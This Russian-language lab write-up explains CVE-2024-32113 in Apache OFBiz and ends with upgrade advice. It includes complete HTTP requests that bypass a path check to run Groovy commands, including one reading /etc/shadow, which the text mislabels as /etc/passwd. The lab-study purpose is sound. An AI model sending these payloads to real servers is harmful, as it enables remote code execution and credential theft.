Apache OFBiz CVE-2024-32113

Введение

Ранее в наших статьях мы уже упоминали Вам об уязвимостях CVE-2023–49070 и CVE-2023–51467 в Apache OFBiz, не прошло и пол года, как 05 августа 2024 была опубликована новая уязвимость с неправильным ограничением пути к закрытому каталогу CVE-2024-32113 (CVSS 3.x 9.8 баллов), затрагивающая версии ниже 18.12.14.

Для тех, кто мало знаком с данным решением, давайте еще раз узнаем, что это за продукт.

Apache OFBiz — это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.

В этой статье мы развернем уязвимую версию OFBiz и разберемся как эксплуатировать ее.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовка

Как и для эксплуатации прошлых уязвимостей возьмем также ПО версии 18.12.09. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull или docker-compose, предварительно скачав каталог с файлами настройки из GitHub-репозитория.

Скачиваем контейнер с помощью docker pull:

sudo docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09

Команда sudo docker pull vulhub/ofbiz:18.12.09

Команда sudo docker pull vulhub/ofbiz:18.12.09

Запустим наш контейнер следующей командой:

sudo docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09

После подготовки нашей инфраструктуры (уязвимого программного обеспечения Apache OFBiz версии ниже 18.12.14) приступим к практическому разбору данной уязвимости.

Разбор уязвимости CVE-2024–32113

Уязвимая конечная точка /webtools/control/forgotPassword позволяет злоумышленнику получить доступ к конечной точке ProgramExport, которая, в свою очередь, позволяет удаленно выполнять код в контексте пользователя, от имени которого запущено приложение.

Для выполнения RCE отправим следующий POST-запрос на конечную точку /webtools/control/forgotPassword видоизменив его:

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

groovyProgram=throw+new+Exception('ls+-la'.execute().text);

В результате мы получили Response, содержащий результат выполнения команды — текущий каталог с его содержимым.

7b2d71760923f6c6169fb94d11e8092f.png

Давайте теперь попробуем прочитать содержимое файла /etc/passwd отправив следующий запрос:

POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

groovyProgram=throw+new+Exception('cat+/etc/shadow'.execute().text);

Response по нашему запросу выглядит следующим образом:

57ce35d6f1e7d3bc735bb5603a9547a1.png

Заключение

В данной статье мы с Вами разобрали уязвимость с неправильным ограничением пути к закрытому каталогу через которую можно обратиться к компоненту ProgramExport Apache OFBiz для выполнения удаленных команд.

Данная уязвимость была устранена в версии 18.12.14.

Если у Вас установлен Apache OFBiz версии ниже 18.12.14, то мы настоятельно рекомендуем Вам обновится на последнюю версию данного решения.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

© Habrahabr.ru